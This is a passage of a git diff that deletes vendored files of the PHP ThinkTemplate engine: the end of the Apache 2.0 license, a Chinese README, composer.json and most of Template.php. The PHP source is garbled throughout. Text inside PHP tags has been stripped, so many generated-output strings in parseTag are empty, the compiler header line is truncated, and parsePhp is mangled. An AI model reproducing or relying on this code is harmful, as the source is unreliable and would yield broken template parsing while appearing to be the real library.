patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "{}" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright {yyyy} {name of copyright owner} - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. diff --git a/vendor/topthink/think-template/README.md b/vendor/topthink/think-template/README.md deleted file mode 100644 index 1d19064..0000000 --- a/vendor/topthink/think-template/README.md +++ /dev/null @@ -1,70 +0,0 @@ -# ThinkTemplate - -基于XML和标签库的编译型模板引擎 - -## 主要特性 - -- 支持XML标签库和普通标签的混合定义; -- 支持直接使用PHP代码书写; -- 支持文件包含; -- 支持多级标签嵌套; -- 支持布局模板功能; -- 一次编译多次运行,编译和运行效率非常高; -- 模板文件和布局模板更新,自动更新模板缓存; -- 系统变量无需赋值直接输出; -- 支持多维数组的快速输出; -- 支持模板变量的默认值; -- 支持页面代码去除Html空白; -- 支持变量组合调节器和格式化功能; -- 允许定义模板禁用函数和禁用PHP语法; -- 通过标签库方式扩展; - -## 安装 - -~~~php -composer require topthink/think-template -~~~ - -## 用法示例 - - -~~~php - './template/', - 'cache_path' => './runtime/', - 'view_suffix' => 'html', -]; - -$template = new Template($config); -// 模板变量赋值 -$template->assign(['name' => 'think']); -// 读取模板文件渲染输出 -$template->fetch('index'); -// 完整模板文件渲染 -$template->fetch('./template/test.php'); -// 渲染内容输出 -$template->display($content); -~~~ - -支持静态调用 - -~~~ -use think\facade\Template; - -Template::config([ - 'view_path' => './template/', - 'cache_path' => './runtime/', - 'view_suffix' => 'html', -]); -Template::assign(['name' => 'think']); -Template::fetch('index',['name' => 'think']); -Template::display($content,['name' => 'think']); -~~~ - -详细用法参考[开发手册](https://www.kancloud.cn/manual/think-template/content) \ No newline at end of file diff --git a/vendor/topthink/think-template/composer.json b/vendor/topthink/think-template/composer.json deleted file mode 100644 index f4e1205..0000000 --- a/vendor/topthink/think-template/composer.json +++ /dev/null @@ -1,20 +0,0 @@ -{ - "name": "topthink/think-template", - "description": "the php template engine", - "license": "Apache-2.0", - "authors": [ - { - "name": "liu21st", - "email": "liu21st@gmail.com" - } - ], - "require": { - "php": ">=7.1.0", - "psr/simple-cache": "^1.0" - }, - "autoload": { - "psr-4": { - "think\\": "src" - } - } -} \ No newline at end of file diff --git a/vendor/topthink/think-template/src/Template.php b/vendor/topthink/think-template/src/Template.php deleted file mode 100644 index 84d35a5..0000000 --- a/vendor/topthink/think-template/src/Template.php +++ /dev/null @@ -1,1320 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use Exception; -use Psr\SimpleCache\CacheInterface; - -/** - * ThinkPHP分离出来的模板引擎 - * 支持XML标签和普通标签的模板解析 - * 编译型模板引擎 支持动态缓存 - */ -class Template -{ - /** - * 模板变量 - * @var array - */ - protected $data = []; - - /** - * 模板配置参数 - * @var array - */ - protected $config = [ - 'view_path' => '', // 模板路径 - 'view_suffix' => 'html', // 默认模板文件后缀 - 'view_depr' => DIRECTORY_SEPARATOR, - 'cache_path' => '', - 'cache_suffix' => 'php', // 默认模板缓存后缀 - 'tpl_deny_func_list' => 'echo,exit', // 模板引擎禁用函数 - 'tpl_deny_php' => false, // 默认模板引擎是否禁用PHP原生代码 - 'tpl_begin' => '{', // 模板引擎普通标签开始标记 - 'tpl_end' => '}', // 模板引擎普通标签结束标记 - 'strip_space' => false, // 是否去除模板文件里面的html空格与换行 - 'tpl_cache' => true, // 是否开启模板编译缓存,设为false则每次都会重新编译 - 'compile_type' => 'file', // 模板编译类型 - 'cache_prefix' => '', // 模板缓存前缀标识,可以动态改变 - 'cache_time' => 0, // 模板缓存有效期 0 为永久,(以数字为值,单位:秒) - 'layout_on' => false, // 布局模板开关 - 'layout_name' => 'layout', // 布局模板入口文件 - 'layout_item' => '{__CONTENT__}', // 布局模板的内容替换标识 - 'taglib_begin' => '{', // 标签库标签开始标记 - 'taglib_end' => '}', // 标签库标签结束标记 - 'taglib_load' => true, // 是否使用内置标签库之外的其它标签库,默认自动检测 - 'taglib_build_in' => 'cx', // 内置标签库名称(标签使用不必指定标签库名称),以逗号分隔 注意解析顺序 - 'taglib_pre_load' => '', // 需要额外加载的标签库(须指定标签库名称),多个以逗号分隔 - 'display_cache' => false, // 模板渲染缓存 - 'cache_id' => '', // 模板缓存ID - 'tpl_replace_string' => [], - 'tpl_var_identify' => 'array', // .语法变量识别,array|object|'', 为空时自动识别 - 'default_filter' => 'htmlentities', // 默认过滤方法 用于普通标签输出 - ]; - - /** - * 保留内容信息 - * @var array - */ - private $literal = []; - - /** - * 扩展解析规则 - * @var array - */ - private $extend = []; - - /** - * 模板包含信息 - * @var array - */ - private $includeFile = []; - - /** - * 模板存储对象 - * @var object - */ - protected $storage; - - /** - * 查询缓存对象 - * @var CacheInterface - */ - protected $cache; - - /** - * 架构函数 - * @access public - * @param array $config - */ - public function __construct(array $config = []) - { - $this->config = array_merge($this->config, $config); - - $this->config['taglib_begin_origin'] = $this->config['taglib_begin']; - $this->config['taglib_end_origin'] = $this->config['taglib_end']; - - $this->config['taglib_begin'] = preg_quote($this->config['taglib_begin'], '/'); - $this->config['taglib_end'] = preg_quote($this->config['taglib_end'], '/'); - $this->config['tpl_begin'] = preg_quote($this->config['tpl_begin'], '/'); - $this->config['tpl_end'] = preg_quote($this->config['tpl_end'], '/'); - - // 初始化模板编译存储器 - $type = $this->config['compile_type'] ? $this->config['compile_type'] : 'File'; - $class = false !== strpos($type, '\\') ? $type : '\\think\\template\\driver\\' . ucwords($type); - - $this->storage = new $class(); - } - - /** - * 模板变量赋值 - * @access public - * @param array $vars 模板变量 - * @return $this - */ - public function assign(array $vars = []) - { - $this->data = array_merge($this->data, $vars); - return $this; - } - - /** - * 模板引擎参数赋值 - * @access public - * @param string $name - * @param mixed $value - */ - public function __set($name, $value) - { - $this->config[$name] = $value; - } - - /** - * 设置缓存对象 - * @access public - * @param CacheInterface $cache 缓存对象 - * @return void - */ - public function setCache(CacheInterface $cache): void - { - $this->cache = $cache; - } - - /** - * 模板引擎配置 - * @access public - * @param array $config - * @return $this - */ - public function config(array $config) - { - $this->config = array_merge($this->config, $config); - return $this; - } - - /** - * 获取模板引擎配置项 - * @access public - * @param string $name - * @return mixed - */ - public function getConfig(string $name) - { - return $this->config[$name] ?? null; - } - - /** - * 模板变量获取 - * @access public - * @param string $name 变量名 - * @return mixed - */ - public function get(string $name = '') - { - if ('' == $name) { - return $this->data; - } - - $data = $this->data; - - foreach (explode('.', $name) as $key => $val) { - if (isset($data[$val])) { - $data = $data[$val]; - } else { - $data = null; - break; - } - } - - return $data; - } - - /** - * 扩展模板解析规则 - * @access public - * @param string $rule 解析规则 - * @param callable $callback 解析规则 - * @return void - */ - public function extend(string $rule, callable $callback = null): void - { - $this->extend[$rule] = $callback; - } - - /** - * 渲染模板文件 - * @access public - * @param string $template 模板文件 - * @param array $vars 模板变量 - * @return void - */ - public function fetch(string $template, array $vars = []): void - { - if ($vars) { - $this->data = array_merge($this->data, $vars); - } - - if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) { - // 读取渲染缓存 - if ($this->cache->has($this->config['cache_id'])) { - echo $this->cache->get($this->config['cache_id']); - return; - } - } - - $template = $this->parseTemplateFile($template); - - if ($template) { - $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($this->config['layout_on'] . $this->config['layout_name'] . $template) . '.' . ltrim($this->config['cache_suffix'], '.'); - - if (!$this->checkCache($cacheFile)) { - // 缓存无效 重新模板编译 - $content = file_get_contents($template); - $this->compiler($content, $cacheFile); - } - - // 页面缓存 - ob_start(); - ob_implicit_flush(0); - - // 读取编译存储 - $this->storage->read($cacheFile, $this->data); - - // 获取并清空缓存 - $content = ob_get_clean(); - - if (!empty($this->config['cache_id']) && $this->config['display_cache'] && $this->cache) { - // 缓存页面输出 - $this->cache->set($this->config['cache_id'], $content, $this->config['cache_time']); - } - - echo $content; - } - } - - /** - * 检查编译缓存是否存在 - * @access public - * @param string $cacheId 缓存的id - * @return boolean - */ - public function isCache(string $cacheId): bool - { - if ($cacheId && $this->cache && $this->config['display_cache']) { - // 缓存页面输出 - return $this->cache->has($cacheId); - } - - return false; - } - - /** - * 渲染模板内容 - * @access public - * @param string $content 模板内容 - * @param array $vars 模板变量 - * @return void - */ - public function display(string $content, array $vars = []): void - { - if ($vars) { - $this->data = array_merge($this->data, $vars); - } - - $cacheFile = $this->config['cache_path'] . $this->config['cache_prefix'] . md5($content) . '.' . ltrim($this->config['cache_suffix'], '.'); - - if (!$this->checkCache($cacheFile)) { - // 缓存无效 模板编译 - $this->compiler($content, $cacheFile); - } - - // 读取编译存储 - $this->storage->read($cacheFile, $this->data); - } - - /** - * 设置布局 - * @access public - * @param mixed $name 布局模板名称 false 则关闭布局 - * @param string $replace 布局模板内容替换标识 - * @return $this - */ - public function layout($name, string $replace = '') - { - if (false === $name) { - // 关闭布局 - $this->config['layout_on'] = false; - } else { - // 开启布局 - $this->config['layout_on'] = true; - - // 名称必须为字符串 - if (is_string($name)) { - $this->config['layout_name'] = $name; - } - - if (!empty($replace)) { - $this->config['layout_item'] = $replace; - } - } - - return $this; - } - - /** - * 检查编译缓存是否有效 - * 如果无效则需要重新编译 - * @access private - * @param string $cacheFile 缓存文件名 - * @return bool - */ - private function checkCache(string $cacheFile): bool - { - if (!$this->config['tpl_cache'] || !is_file($cacheFile) || !$handle = @fopen($cacheFile, "r")) { - return false; - } - - // 读取第一行 - preg_match('/\/\*(.+?)\*\//', fgets($handle), $matches); - - if (!isset($matches[1])) { - return false; - } - - $includeFile = unserialize($matches[1]); - - if (!is_array($includeFile)) { - return false; - } - - // 检查模板文件是否有更新 - foreach ($includeFile as $path => $time) { - if (is_file($path) && filemtime($path) > $time) { - // 模板文件如果有更新则缓存需要更新 - return false; - } - } - - // 检查编译存储是否有效 - return $this->storage->check($cacheFile, $this->config['cache_time']); - } - - /** - * 编译模板文件内容 - * @access private - * @param string $content 模板内容 - * @param string $cacheFile 缓存文件名 - * @return void - */ - private function compiler(string &$content, string $cacheFile): void - { - // 判断是否启用布局 - if ($this->config['layout_on']) { - if (false !== strpos($content, '{__NOLAYOUT__}')) { - // 可以单独定义不使用布局 - $content = str_replace('{__NOLAYOUT__}', '', $content); - } else { - // 读取布局模板 - $layoutFile = $this->parseTemplateFile($this->config['layout_name']); - - if ($layoutFile) { - // 替换布局的主体内容 - $content = str_replace($this->config['layout_item'], $content, file_get_contents($layoutFile)); - } - } - } else { - $content = str_replace('{__NOLAYOUT__}', '', $content); - } - - // 模板解析 - $this->parse($content); - - if ($this->config['strip_space']) { - /* 去除html空格与换行 */ - $find = ['~>\s+<~', '~>(\s+\n|\r)~']; - $replace = ['><', '>']; - $content = preg_replace($find, $replace, $content); - } - - // 优化生成的php代码 - $content = preg_replace('/\?>\s*<\?php\s(?!echo\b|\bend)/s', '', $content); - - // 模板过滤输出 - $replace = $this->config['tpl_replace_string']; - $content = str_replace(array_keys($replace), array_values($replace), $content); - - // 添加安全代码及模板引用记录 - $content = 'includeFile) . '*/ ?>' . "\n" . $content; - // 编译存储 - $this->storage->write($cacheFile, $content); - - $this->includeFile = []; - } - - /** - * 模板解析入口 - * 支持普通标签和TagLib解析 支持自定义标签库 - * @access public - * @param string $content 要解析的模板内容 - * @return void - */ - public function parse(string &$content): void - { - // 内容为空不解析 - if (empty($content)) { - return; - } - - // 替换literal标签内容 - $this->parseLiteral($content); - - // 解析继承 - $this->parseExtend($content); - - // 解析布局 - $this->parseLayout($content); - - // 检查include语法 - $this->parseInclude($content); - - // 替换包含文件中literal标签内容 - $this->parseLiteral($content); - - // 检查PHP语法 - $this->parsePhp($content); - - // 获取需要引入的标签库列表 - // 标签库只需要定义一次,允许引入多个一次 - // 一般放在文件的最前面 - // 格式: - // 当TAGLIB_LOAD配置为true时才会进行检测 - if ($this->config['taglib_load']) { - $tagLibs = $this->getIncludeTagLib($content); - - if (!empty($tagLibs)) { - // 对导入的TagLib进行解析 - foreach ($tagLibs as $tagLibName) { - $this->parseTagLib($tagLibName, $content); - } - } - } - - // 预先加载的标签库 无需在每个模板中使用taglib标签加载 但必须使用标签库XML前缀 - if ($this->config['taglib_pre_load']) { - $tagLibs = explode(',', $this->config['taglib_pre_load']); - - foreach ($tagLibs as $tag) { - $this->parseTagLib($tag, $content); - } - } - - // 内置标签库 无需使用taglib标签导入就可以使用 并且不需使用标签库XML前缀 - $tagLibs = explode(',', $this->config['taglib_build_in']); - - foreach ($tagLibs as $tag) { - $this->parseTagLib($tag, $content, true); - } - - // 解析普通模板标签 {$tagName} - $this->parseTag($content); - - // 还原被替换的Literal标签 - $this->parseLiteral($content, true); - } - - /** - * 检查PHP语法 - * @access private - * @param string $content 要解析的模板内容 - * @return void - * @throws Exception - */ - private function parsePhp(string &$content): void - { - // 短标签的情况要将' . "\n", $content); - - // PHP语法检查 - if ($this->config['tpl_deny_php'] && false !== strpos($content, 'getRegex('layout'), $content, $matches)) { - // 替换Layout标签 - $content = str_replace($matches[0], '', $content); - // 解析Layout标签 - $array = $this->parseAttr($matches[0]); - - if (!$this->config['layout_on'] || $this->config['layout_name'] != $array['name']) { - // 读取布局模板 - $layoutFile = $this->parseTemplateFile($array['name']); - - if ($layoutFile) { - $replace = isset($array['replace']) ? $array['replace'] : $this->config['layout_item']; - // 替换布局的主体内容 - $content = str_replace($replace, $content, file_get_contents($layoutFile)); - } - } - } else { - $content = str_replace('{__NOLAYOUT__}', '', $content); - } - } - - /** - * 解析模板中的include标签 - * @access private - * @param string $content 要解析的模板内容 - * @return void - */ - private function parseInclude(string &$content): void - { - $regex = $this->getRegex('include'); - $func = function ($template) use (&$func, &$regex, &$content) { - if (preg_match_all($regex, $template, $matches, PREG_SET_ORDER)) { - foreach ($matches as $match) { - $array = $this->parseAttr($match[0]); - $file = $array['file']; - unset($array['file']); - - // 分析模板文件名并读取内容 - $parseStr = $this->parseTemplateName($file); - - foreach ($array as $k => $v) { - // 以$开头字符串转换成模板变量 - if (0 === strpos($v, '$')) { - $v = $this->get(substr($v, 1)); - } - - $parseStr = str_replace('[' . $k . ']', $v, $parseStr); - } - - $content = str_replace($match[0], $parseStr, $content); - // 再次对包含文件进行模板分析 - $func($parseStr); - } - unset($matches); - } - }; - - // 替换模板中的include标签 - $func($content); - } - - /** - * 解析模板中的extend标签 - * @access private - * @param string $content 要解析的模板内容 - * @return void - */ - private function parseExtend(string &$content): void - { - $regex = $this->getRegex('extend'); - $array = $blocks = $baseBlocks = []; - $extend = ''; - - $func = function ($template) use (&$func, &$regex, &$array, &$extend, &$blocks, &$baseBlocks) { - if (preg_match($regex, $template, $matches)) { - if (!isset($array[$matches['name']])) { - $array[$matches['name']] = 1; - // 读取继承模板 - $extend = $this->parseTemplateName($matches['name']); - - // 递归检查继承 - $func($extend); - - // 取得block标签内容 - $blocks = array_merge($blocks, $this->parseBlock($template)); - - return; - } - } else { - // 取得顶层模板block标签内容 - $baseBlocks = $this->parseBlock($template, true); - - if (empty($extend)) { - // 无extend标签但有block标签的情况 - $extend = $template; - } - } - }; - - $func($content); - - if (!empty($extend)) { - if ($baseBlocks) { - $children = []; - foreach ($baseBlocks as $name => $val) { - $replace = $val['content']; - - if (!empty($children[$name])) { - // 如果包含有子block标签 - foreach ($children[$name] as $key) { - $replace = str_replace($baseBlocks[$key]['begin'] . $baseBlocks[$key]['content'] . $baseBlocks[$key]['end'], $blocks[$key]['content'], $replace); - } - } - - if (isset($blocks[$name])) { - // 带有{__block__}表示与所继承模板的相应标签合并,而不是覆盖 - $replace = str_replace(['{__BLOCK__}', '{__block__}'], $replace, $blocks[$name]['content']); - - if (!empty($val['parent'])) { - // 如果不是最顶层的block标签 - $parent = $val['parent']; - - if (isset($blocks[$parent])) { - $blocks[$parent]['content'] = str_replace($blocks[$name]['begin'] . $blocks[$name]['content'] . $blocks[$name]['end'], $replace, $blocks[$parent]['content']); - } - - $blocks[$name]['content'] = $replace; - $children[$parent][] = $name; - - continue; - } - } elseif (!empty($val['parent'])) { - // 如果子标签没有被继承则用原值 - $children[$val['parent']][] = $name; - $blocks[$name] = $val; - } - - if (!$val['parent']) { - // 替换模板中的顶级block标签 - $extend = str_replace($val['begin'] . $val['content'] . $val['end'], $replace, $extend); - } - } - } - - $content = $extend; - unset($blocks, $baseBlocks); - } - } - - /** - * 替换页面中的literal标签 - * @access private - * @param string $content 模板内容 - * @param boolean $restore 是否为还原 - * @return void - */ - private function parseLiteral(string &$content, bool $restore = false): void - { - $regex = $this->getRegex($restore ? 'restoreliteral' : 'literal'); - - if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) { - if (!$restore) { - $count = count($this->literal); - - // 替换literal标签 - foreach ($matches as $match) { - $this->literal[] = substr($match[0], strlen($match[1]), -strlen($match[2])); - $content = str_replace($match[0], "", $content); - $count++; - } - } else { - // 还原literal标签 - foreach ($matches as $match) { - $content = str_replace($match[0], $this->literal[$match[1]], $content); - } - - // 清空literal记录 - $this->literal = []; - } - - unset($matches); - } - } - - /** - * 获取模板中的block标签 - * @access private - * @param string $content 模板内容 - * @param boolean $sort 是否排序 - * @return array - */ - private function parseBlock(string &$content, bool $sort = false): array - { - $regex = $this->getRegex('block'); - $result = []; - - if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER | PREG_OFFSET_CAPTURE)) { - $right = $keys = []; - - foreach ($matches as $match) { - if (empty($match['name'][0])) { - if (count($right) > 0) { - $tag = array_pop($right); - $start = $tag['offset'] + strlen($tag['tag']); - $length = $match[0][1] - $start; - - $result[$tag['name']] = [ - 'begin' => $tag['tag'], - 'content' => substr($content, $start, $length), - 'end' => $match[0][0], - 'parent' => count($right) ? end($right)['name'] : '', - ]; - - $keys[$tag['name']] = $match[0][1]; - } - } else { - // 标签头压入栈 - $right[] = [ - 'name' => $match[2][0], - 'offset' => $match[0][1], - 'tag' => $match[0][0], - ]; - } - } - - unset($right, $matches); - - if ($sort) { - // 按block标签结束符在模板中的位置排序 - array_multisort($keys, $result); - } - } - - return $result; - } - - /** - * 搜索模板页面中包含的TagLib库 - * 并返回列表 - * @access private - * @param string $content 模板内容 - * @return array|null - */ - private function getIncludeTagLib(string &$content) - { - // 搜索是否有TagLib标签 - if (preg_match($this->getRegex('taglib'), $content, $matches)) { - // 替换TagLib标签 - $content = str_replace($matches[0], '', $content); - - return explode(',', $matches['name']); - } - } - - /** - * TagLib库解析 - * @access public - * @param string $tagLib 要解析的标签库 - * @param string $content 要解析的模板内容 - * @param boolean $hide 是否隐藏标签库前缀 - * @return void - */ - public function parseTagLib(string $tagLib, string &$content, bool $hide = false): void - { - if (false !== strpos($tagLib, '\\')) { - // 支持指定标签库的命名空间 - $className = $tagLib; - $tagLib = substr($tagLib, strrpos($tagLib, '\\') + 1); - } else { - $className = '\\think\\template\\taglib\\' . ucwords($tagLib); - } - - $tLib = new $className($this); - - $tLib->parseTag($content, $hide ? '' : $tagLib); - } - - /** - * 分析标签属性 - * @access public - * @param string $str 属性字符串 - * @param string $name 不为空时返回指定的属性名 - * @return array - */ - public function parseAttr(string $str, string $name = null): array - { - $regex = '/\s+(?>(?P[\w-]+)\s*)=(?>\s*)([\"\'])(?P(?:(?!\\2).)*)\\2/is'; - $array = []; - - if (preg_match_all($regex, $str, $matches, PREG_SET_ORDER)) { - foreach ($matches as $match) { - $array[$match['name']] = $match['value']; - } - unset($matches); - } - - if (!empty($name) && isset($array[$name])) { - return $array[$name]; - } - - return $array; - } - - /** - * 模板标签解析 - * 格式: {TagName:args [|content] } - * @access private - * @param string $content 要解析的模板内容 - * @return void - */ - private function parseTag(string &$content): void - { - $regex = $this->getRegex('tag'); - - if (preg_match_all($regex, $content, $matches, PREG_SET_ORDER)) { - foreach ($matches as $match) { - $str = stripslashes($match[1]); - $flag = substr($str, 0, 1); - - switch ($flag) { - case '$': - // 解析模板变量 格式 {$varName} - // 是否带有?号 - if (false !== $pos = strpos($str, '?')) { - $array = preg_split('/([!=]={1,2}|(?<]={0,1})/', substr($str, 0, $pos), 2, PREG_SPLIT_DELIM_CAPTURE); - $name = $array[0]; - - $this->parseVar($name); - //$this->parseVarFunction($name); - - $str = trim(substr($str, $pos + 1)); - $this->parseVar($str); - $first = substr($str, 0, 1); - - if (strpos($name, ')')) { - // $name为对象或是自动识别,或者含有函数 - if (isset($array[1])) { - $this->parseVar($array[2]); - $name .= $array[1] . $array[2]; - } - - switch ($first) { - case '?': - $this->parseVarFunction($name); - $str = ''; - break; - case '=': - $str = ''; - break; - default: - $str = ''; - } - } else { - if (isset($array[1])) { - $express = true; - $this->parseVar($array[2]); - $express = $name . $array[1] . $array[2]; - } else { - $express = false; - } - - if (in_array($first, ['?', '=', ':'])) { - $str = trim(substr($str, 1)); - if ('$' == substr($str, 0, 1)) { - $str = $this->parseVarFunction($str); - } - } - - // $name为数组 - switch ($first) { - case '?': - // {$varname??'xxx'} $varname有定义则输出$varname,否则输出xxx - $str = 'parseVarFunction($name) . ' : ' . $str . '; ?>'; - break; - case '=': - // {$varname?='xxx'} $varname为真时才输出xxx - $str = ''; - break; - case ':': - // {$varname?:'xxx'} $varname为真时输出$varname,否则输出xxx - $str = 'parseVarFunction($name) . ' : ' . $str . '; ?>'; - break; - default: - if (strpos($str, ':')) { - // {$varname ? 'a' : 'b'} $varname为真时输出a,否则输出b - $array = explode(':', $str, 2); - - $array[0] = '$' == substr(trim($array[0]), 0, 1) ? $this->parseVarFunction($array[0]) : $array[0]; - $array[1] = '$' == substr(trim($array[1]), 0, 1) ? $this->parseVarFunction($array[1]) : $array[1]; - - $str = implode(' : ', $array); - } - $str = ''; - } - } - } else { - $this->parseVar($str); - $this->parseVarFunction($str); - $str = ''; - } - break; - case ':': - // 输出某个函数的结果 - $str = substr($str, 1); - $this->parseVar($str); - $str = ''; - break; - case '~': - // 执行某个函数 - $str = substr($str, 1); - $this->parseVar($str); - $str = ''; - break; - case '-': - case '+': - // 输出计算 - $this->parseVar($str); - $str = ''; - break; - case '/': - // 注释标签 - $flag2 = substr($str, 1, 1); - if ('/' == $flag2 || ('*' == $flag2 && substr(rtrim($str), -2) == '*/')) { - $str = ''; - } - break; - default: - // 未识别的标签直接返回 - $str = $this->config['tpl_begin'] . $str . $this->config['tpl_end']; - break; - } - - $content = str_replace($match[0], $str, $content); - } - - unset($matches); - } - } - - /** - * 模板变量解析,支持使用函数 - * 格式: {$varname|function1|function2=arg1,arg2} - * @access public - * @param string $varStr 变量数据 - * @return void - */ - public function parseVar(string &$varStr): void - { - $varStr = trim($varStr); - - if (preg_match_all('/\$[a-zA-Z_](?>\w*)(?:[:\.][0-9a-zA-Z_](?>\w*))+/', $varStr, $matches, PREG_OFFSET_CAPTURE)) { - static $_varParseList = []; - - while ($matches[0]) { - $match = array_pop($matches[0]); - - //如果已经解析过该变量字串,则直接返回变量值 - if (isset($_varParseList[$match[0]])) { - $parseStr = $_varParseList[$match[0]]; - } else { - if (strpos($match[0], '.')) { - $vars = explode('.', $match[0]); - $first = array_shift($vars); - - if (isset($this->extend[$first])) { - $callback = $this->extend[$first]; - $parseStr = $callback($vars); - } elseif ('$Request' == $first) { - // 输出请求变量 - $parseStr = $this->parseRequestVar($vars); - } elseif ('$Think' == $first) { - // 所有以Think.打头的以特殊变量对待 无需模板赋值就可以输出 - $parseStr = $this->parseThinkVar($vars); - } else { - switch ($this->config['tpl_var_identify']) { - case 'array': // 识别为数组 - $parseStr = $first . '[\'' . implode('\'][\'', $vars) . '\']'; - break; - case 'obj': // 识别为对象 - $parseStr = $first . '->' . implode('->', $vars); - break; - default: // 自动判断数组或对象 - $parseStr = '(is_array(' . $first . ')?' . $first . '[\'' . implode('\'][\'', $vars) . '\']:' . $first . '->' . implode('->', $vars) . ')'; - } - } - } else { - $parseStr = str_replace(':', '->', $match[0]); - } - - $_varParseList[$match[0]] = $parseStr; - } - - $varStr = substr_replace($varStr, $parseStr, $match[1], strlen($match[0])); - } - unset($matches); - } - } - - /** - * 对模板中使用了函数的变量进行解析 - * 格式 {$varname|function1|function2=arg1,arg2} - * @access public - * @param string $varStr 变量字符串 - * @param bool $autoescape 自动转义 - * @return string - */ - public function parseVarFunction(string &$varStr, bool $autoescape = true): string - { - if (!$autoescape && false === strpos($varStr, '|')) { - return $varStr; - } elseif ($autoescape && !preg_match('/\|(\s)?raw(\||\s)?/i', $varStr)) { - $varStr .= '|' . $this->config['default_filter']; - } - - static $_varFunctionList = []; - - $_key = md5($varStr); - - //如果已经解析过该变量字串,则直接返回变量值 - if (isset($_varFunctionList[$_key])) { - $varStr = $_varFunctionList[$_key]; - } else { - $varArray = explode('|', $varStr); - - // 取得变量名称 - $name = trim(array_shift($varArray)); - - // 对变量使用函数 - $length = count($varArray); - - // 取得模板禁止使用函数列表 - $template_deny_funs = explode(',', $this->config['tpl_deny_func_list']); - - for ($i = 0; $i < $length; $i++) { - $args = explode('=', $varArray[$i], 2); - - // 模板函数过滤 - $fun = trim($args[0]); - if (in_array($fun, $template_deny_funs)) { - continue; - } - - switch (strtolower($fun)) { - case 'raw': - break; - case 'date': - $name = 'date(' . $args[1] . ',!is_numeric(' . $name . ')? strtotime(' . $name . ') : ' . $name . ')'; - break; - case 'first': - $name = 'current(' . $name . ')'; - break; - case 'last': - $name = 'end(' . $name . ')'; - break; - case 'upper': - $name = 'strtoupper(' . $name . ')'; - break; - case 'lower': - $name = 'strtolower(' . $name . ')'; - break; - case 'format': - $name = 'sprintf(' . $args[1] . ',' . $name . ')'; - break; - case 'default': // 特殊模板函数 - if (false === strpos($name, '(')) { - $name = '(isset(' . $name . ') && (' . $name . ' !== \'\')?' . $name . ':' . $args[1] . ')'; - } else { - $name = '(' . $name . ' ?: ' . $args[1] . ')'; - } - break; - default: // 通用模板函数 - if (isset($args[1])) { - if (strstr($args[1], '###')) { - $args[1] = str_replace('###', $name, $args[1]); - $name = "$fun($args[1])"; - } else { - $name = "$fun($name,$args[1])"; - } - } else { - if (!empty($args[0])) { - $name = "$fun($name)"; - } - } - } - } - - $_varFunctionList[$_key] = $name; - $varStr = $name; - } - return $varStr; - } - - /** - * 